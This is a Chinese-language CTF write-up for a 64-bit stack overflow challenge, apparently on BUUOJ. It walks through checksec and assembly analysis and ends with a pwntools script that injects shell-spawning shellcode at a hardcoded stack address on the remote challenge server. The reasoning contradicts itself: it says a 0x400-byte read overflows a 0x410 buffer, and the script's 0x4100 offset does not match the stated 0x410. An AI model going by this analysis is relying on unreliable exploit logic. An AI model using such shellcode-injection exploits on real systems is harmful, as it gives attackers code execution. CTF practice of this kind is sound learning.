首先checksec检查保护机制:
-64位程序
-got表不可写,地址不固定
接下来使用IDA反汇编分析:
这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出
下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410
这里先在gdb中运行程序后输入i r查看寄存器信息:
那到rsp也就是栈基地址,下面的shellcode就是注入在这里
基本信息拿完就可以写攻击脚本了:
from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27977) # 与在线环境交互。 shellcode = asm(shellcraft.sh()) offset = 0x4100 buf_addr = 0x7fffffffdaf8 payload = shellcode.ljust(offset,b'a') + p64(buf_addr) io.sendline(payload) io.interactive()这是运行结果:
拿到shell后手动输入cat flag拿到flag